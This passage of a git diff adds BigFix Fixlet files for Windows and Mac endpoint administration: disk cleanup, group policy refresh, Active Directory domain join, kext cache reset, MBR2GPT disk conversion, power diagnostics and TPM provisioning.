+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Defender]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Temp Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows ESD installation files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+
+endif
+
+waithidden cleanmgr /sagerun:1337</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Group Policy Refresh - Windows (22887).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Group Policy Refresh - Windows (22887).bes
new file mode 100644
index 000000000..744dd3bd1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Group Policy Refresh - Windows (22887).bes	
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Group Policy Refresh - Windows
+  ID       : 22887
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-02T11:31:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Group Policy Refresh - Windows</Title>
+    <Description><![CDATA[<P>This will invoke a group policy refresh on the target endpoint.</P>
+<P><FONT color=#ff0000><STRONG>NOTE: </STRONG></FONT><FONT color=#000000>Performing a group policy refresh may cause a explorer to flash during a user session and it may drop a connected user's remote desktop session.</FONT></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>exists file &quot;gpupdate.exe&quot; of system folder</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-22</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+override wait
+completion=job
+hidden=true
+wait cmd.exe /c &quot;echo n | gpupdate /target:computer /force /wait:120&quot;
+
+if {exists current user}
+	override wait
+	completion=job
+	hidden=true
+	runas=currentuser
+	wait cmd.exe /c &quot;echo n | gpupdate /target:user /force /wait:120&quot;
+endif</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Join Active Directory Domain - Windows (23387).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Join Active Directory Domain - Windows (23387).bes
new file mode 100644
index 000000000..945eea31a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Join Active Directory Domain - Windows (23387).bes	
@@ -0,0 +1,99 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Join Active Directory Domain - Windows
+  ID       : 23387
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-06T09:44:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Join Active Directory Domain - Windows</Title>
+    <Description><![CDATA[<DIV id=fixletMessage2 class=FixletMessage>
+<DIV id=paramFixletDescription>
+<P>Securely Domain Join a Windows Computer!</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P><script>
+loaded = false;
+var CODE_SITE_NAME = 'BES Support' ;
+function loadScript (siteName, callback) {
+loaded = false;
+var relevanceQuery ='( value of it) of (mime fields of (bes fixlets whose ( name of it = "Parameterized Fixlet Library" and  name of site of it = \"' + siteName + '\" ))) whose (name of it = "vrt_utils.js")'
+var code = EvaluateRelevance(relevanceQuery);
+var head = document.getElementsByTagName("head")[0];
+var script   = document.createElement("script");
+script.type  = "text/javascript";
+script.text = code;
+head.appendChild(script);
+callback();
+}
+function scriptLoaded(){
+if (!loaded){
+if ( typeof FixletUtils !== 'undefined') {
+loaded = true;
+/*
+* Pleas Note: The following code will be moved to library with next publish of lib and user will have to only call method
+*/
+var relQuery = "(messages of it) of bes fixlets whose (name of it = \"Parameterized Fixlet Library\" and ((name of it ) of site of it = \"" + CODE_SITE_NAME +"\" ))";
+var messages = EvaluateRelevance(relQuery);
+var regex = /\s*<DIV id=globalizationMessageDiv  style="display:none;">([\x00-\x7F]+)\s*<\/Div>/i;
+var matches = regex.exec(messages);
+matches[1]=matches[1].replace(/<br>/gi,"");
+eval(matches[1]);
+FixletUtils.initFixletRender();
+} } }
+loadScript(CODE_SITE_NAME, scriptLoaded);
+</script> </DIV></DIV>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>string value of select &quot;Domain from Win32_ComputerSystem&quot; of wmi as lowercase = &quot;workgroup&quot;</Relevance>
+    <SourceReleaseDate>2016-05-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>parametermetadatatag</Name>
+      <Value>{    &quot;Section1&quot;:{       &quot;Name&quot;:&quot;ADConfiguration&quot;,       &quot;Title&quot;:&quot;AD Configuration&quot;,       &quot;UIType&quot;:&quot;accordion&quot;,       &quot;Values&quot;:[          {             &quot;Name&quot;:&quot;ADDomain&quot;,             &quot;Title&quot;:&quot;Active Directory Domain&quot;,             &quot;Description&quot;:&quot;Active Directory Domain&quot;,             &quot;Override&quot;:&quot;True&quot;,             &quot;ValueType&quot;:&quot;relevance&quot;,             &quot;UIType&quot;:&quot;Select&quot;,             &quot;Values&quot;:&quot;unique values of (concatenations \&quot;.\&quot; of substrings separated by \&quot;,DC=\&quot; of following texts of firsts \&quot;DC=\&quot; of it) whose (it != \&quot;\&quot;) of values of results from (bes property \&quot;Active Directory Path\&quot;) of bes computers&quot;          },          {             &quot;Name&quot;:&quot;ADUser&quot;,             &quot;Title&quot;:&quot;Active Directory Account Username&quot;,             &quot;Description&quot;:&quot;Active Directory Account Username&quot;,             &quot;UIType&quot;:&quot;TextBox&quot;,             &quot;Default&quot;:&quot;NetBIOS\\Username&quot;          },          {             &quot;Name&quot;:&quot;ADpwd&quot;,             &quot;Title&quot;:&quot;Active Directory Account Password&quot;,             &quot;Description&quot;:&quot;Active Directory Account Password&quot;,             &quot;UIType&quot;:&quot;Textbox&quot;,             &quot;Encrypt&quot;:&quot;true&quot;,             &quot;SubUIType&quot;:&quot;Password&quot;          },          {             &quot;Name&quot;:&quot;ADOU&quot;,             &quot;Title&quot;:&quot;Active Directory Organizational Unit&quot;,             &quot;Description&quot;:&quot;Active Directory Organizational Unit&quot;,             &quot;Override&quot;:&quot;True&quot;,             &quot;ValueType&quot;:&quot;relevance&quot;,             &quot;UIType&quot;:&quot;Select&quot;,             &quot;Values&quot;:&quot;unique values of (concatenations \&quot;;\&quot; of substrings separated by \&quot;,\&quot; of it) of following texts of firsts \&quot;,\&quot; of values of results from (bes property \&quot;Active Directory Path\&quot;) of bes computers&quot;          }       ]    } }</Value>
+    </MIMEField>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action24436">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+	$Username,
+	$Password
+)
+
+$domain = &quot;{parameter &quot;ADDomain&quot; of action}&quot;
+$OU = &quot;{(concatenations &quot;,&quot; of substrings separated by &quot;;&quot; of it) of parameter &quot;ADOU&quot; of action}&quot;
+
+$password = $Password | ConvertTo-SecureString -asPlainText -Force
+$credential = New-Object System.Management.Automation.PSCredential($username,$password)
+
+#Try Domain Join with OU -- will fail if object already exists
+Add-Computer -DomainName $domain -Credential $credential -OUPath $OU -ErrorAction silentlycontinue
+
+#Try Domain Join without OU
+Add-Computer -DomainName $domain -Credential $credential
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1 -Username &quot;{parameter &quot;ADUser&quot; of action}&quot; -Password &quot;{parameter &quot;ADPwd&quot; of action}&quot;
+
+action requires restart</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Kernel Kext Cache Reset - Mac (20530).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Kernel Kext Cache Reset - Mac (20530).bes
new file mode 100644
index 000000000..6a09d5722
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Kernel Kext Cache Reset - Mac (20530).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Kernel Kext Cache Reset - Mac
+  ID       : 20530
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:13:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Kernel Kext Cache Reset - Mac</Title>
+    <Description><![CDATA[<P>Invokes a Kernel Kext Cache reset on Mac OS.</P>
+<P>Reseting the Kernel kext can often reduce the boot time of a Mac device but should only be done as a troubleshooting measure. The first reboot after reseting the kernel kext may take a little while longer.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>mac of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-07</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait sh -c &quot;kextcache -system-prelinked-kernel&quot;
+wait sh -c &quot;kextcache -system-caches&quot;</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Convert MBR to GPT - Windows (23810).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Convert MBR to GPT - Windows (23810).bes
new file mode 100644
index 000000000..b966b10b0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Convert MBR to GPT - Windows (23810).bes	
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - MBR2GPT Convert MBR to GPT - Windows
+  ID       : 23810
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2017-03-13T13:17:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - MBR2GPT Convert MBR to GPT - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use the Windows 10 MBR2GPT executable to convert the disk from MBR to GPT.</P>
+<P>Your system WILL NOT BOOT after running this fixlet unless you use a related Vendor-Specific command to switch the machine to boot using UEFI. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>exists file &quot;MBR2GPT.exe&quot; of system x64 folder</Relevance>
+    <Relevance>not exists Selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-03-11</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;mbr2gpt&quot;=&quot;{pathname of file &quot;MBR2GPT.exe&quot; of system x64 folder}&quot;
+
+// Validate Disk Configuration within Windows
+waithidden &quot;{parameter &quot;mbr2gpt&quot;} /convert /allowFullOS
+
+//Conversion completed successfully.
+//continue if {exit code of action != 1}
+
+//Conversion was cancelled by the user
+continue if {exit code of action != 1}
+
+//Conversion failed due to an internal error
+continue if {exit code of action != 2}
+
+//Conversion failed due to an initialization error
+continue if {exit code of action != 3}
+
+//Conversion failed due to invalid command-line parameters
+continue if {exit code of action != 4}
+
+//Conversion failed due to error reading the geometry and layout of the selected disk.
+continue if {exit code of action != 5}
+
+//Conversion failed because one or more volumes on the disk is encrypted.
+continue if {exit code of action != 6}
+
+//Conversion failed because the geometry and layout of the selected disk do not meet requirements.
+continue if {exit code of action != 7}
+
+//Conversion failed due to error while creating the EFI system partition.
+continue if {exit code of action != 8}
+
+//	Conversion failed due to error installing boot files.
+continue if {exit code of action != 9}
+
+//Conversion failed due to error while applying GPT layout.
+continue if {exit code of action != 10}
+
+//	Conversion to GPT layout succeeded, but some boot configuration data entries could not be restored.
+//continue if {exit code of action != 100}
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Validate MBR to GPT - Windows (23811).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Validate MBR to GPT - Windows (23811).bes
new file mode 100644
index 000000000..9ad030d30
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Validate MBR to GPT - Windows (23811).bes	
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - MBR2GPT Validate MBR to GPT - Windows
+  ID       : 23811
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2017-03-13T13:17:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - MBR2GPT Validate MBR to GPT - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use the Windows 10 MBR2GPT executable to convert the disk from MBR to GPT.</P>
+<P>Your system WILL NOT BOOT after running this fixlet unless you use a related Vendor-Specific command to switch the machine to boot using UEFI. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>exists file &quot;MBR2GPT.exe&quot; of system x64 folder</Relevance>
+    <Relevance>not exists Selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-03-11</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;mbr2gpt&quot;=&quot;{pathname of file &quot;MBR2GPT.exe&quot; of system x64 folder}&quot;
+
+// Validate Disk Configuration within Windows
+waithidden &quot;{parameter &quot;mbr2gpt&quot;} /validate /allowFullOS
+
+//Conversion completed successfully.
+//continue if {exit code of action != 1}
+
+//Conversion was cancelled by the user
+continue if {exit code of action != 1}
+
+//Conversion failed due to an internal error
+continue if {exit code of action != 2}
+
+//Conversion failed due to an initialization error
+continue if {exit code of action != 3}
+
+//Conversion failed due to invalid command-line parameters
+continue if {exit code of action != 4}
+
+//Conversion failed due to error reading the geometry and layout of the selected disk.
+continue if {exit code of action != 5}
+
+//Conversion failed because one or more volumes on the disk is encrypted.
+continue if {exit code of action != 6}
+
+//Conversion failed because the geometry and layout of the selected disk do not meet requirements.
+continue if {exit code of action != 7}
+
+//Conversion failed due to error while creating the EFI system partition.
+continue if {exit code of action != 8}
+
+//	Conversion failed due to error installing boot files.
+continue if {exit code of action != 9}
+
+//Conversion failed due to error while applying GPT layout.
+continue if {exit code of action != 10}
+
+//	Conversion to GPT layout succeeded, but some boot configuration data entries could not be restored.
+//continue if {exit code of action != 100}
+
+exit 0</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21716).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21716).bes
new file mode 100644
index 000000000..6f6d8c252
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21716).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Power Efficiency Probe - Windows
+  ID       : 21716
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-24T09:09:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Power Efficiency Probe - Windows</Title>
+    <Description><![CDATA[<P>Invokes PowerCFG on the Endpoint to print out diagnostic information.</P>
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+delete run.bat
+
+createfile until _end_
+cd "{pathname of windows folder}\temp"
+powercfg -energy
+powercfg -requests > "energy-requests.txt"
+_end_
+
+move __createfile run.bat
+
+wait run.bat]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21726).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21726).bes
new file mode 100644
index 000000000..1f9ac3e42
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21726).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Power Efficiency Probe - Windows
+  ID       : 21726
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-24T15:34:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Power Efficiency Probe - Windows</Title>
+    <Description><![CDATA[<P>Invokes PowerCFG on the Endpoint to print out diagnostic information.</P>
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+delete run.bat
+
+createfile until _end_
+cd "{pathname of windows folder}\temp"
+powercfg -energy
+powercfg -requests > "energy-requests.txt"
+_end_
+
+move __createfile run.bat
+
+wait run.bat]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Provision Trusted Platform Module - Windows (23094).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Provision Trusted Platform Module - Windows (23094).bes
new file mode 100644
index 000000000..70f6cb005
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Provision Trusted Platform Module - Windows (23094).bes	
@@ -0,0 +1,241 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Provision Trusted Platform Module - Windows
+  ID       : 23094
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-21T09:27:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Provision Trusted Platform Module - Windows</Title>
+    <Description><![CDATA[<P>Provisions the trusted platform module on the device. The device must have an activated TPM in the BIOS before this fixlet will be relevant.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
+    <Relevance>/* Verify the TPM isn&apos;t fully provisioned */ (not boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) or (not boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) or (not boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action24089">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to provision the trusted platform module, set a random password on TPM ownership, and backup the password to the _BESData folder.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = "."
+)
+
+import-module Bitlocker
+
+$guid = [guid]::NewGuid().Guid
+
+# If we are running on a version newer than Windows 7  use the new TPM cmdlets
+if ([Environment]::OSVersion.Version -gt (new-object 'Version' 6,2)) {{
+	#Physical Presence Allowed
+	#$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
+
+	#No Physical Presence Allowed
+	$TPMResult = Initialize-Tpm -allowclear
+
+	#Set TPM Owner Key
+	Set-TpmOwnerAuth -NewOwnerAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+	#Backup Owner Key to Registry
+	Import-TpmOwnerAuth -OwnershipAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+} else {{ # If we are running on Windows 7 use the old manage-bde method
+	manage-bde -tpm -turnon
+	manage-bde -tpm -takeownership "$GUID"
+}
+
+$GUID >> "$OutFolder\TPMOwnerAuthorization.txt"
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"
+
+action requires restart]]></ActionScript>
+    </Action>
+    <Action ID="Action24090">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to provision the trusted platform module and&amp;nbsp;set a password on TPM ownership.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
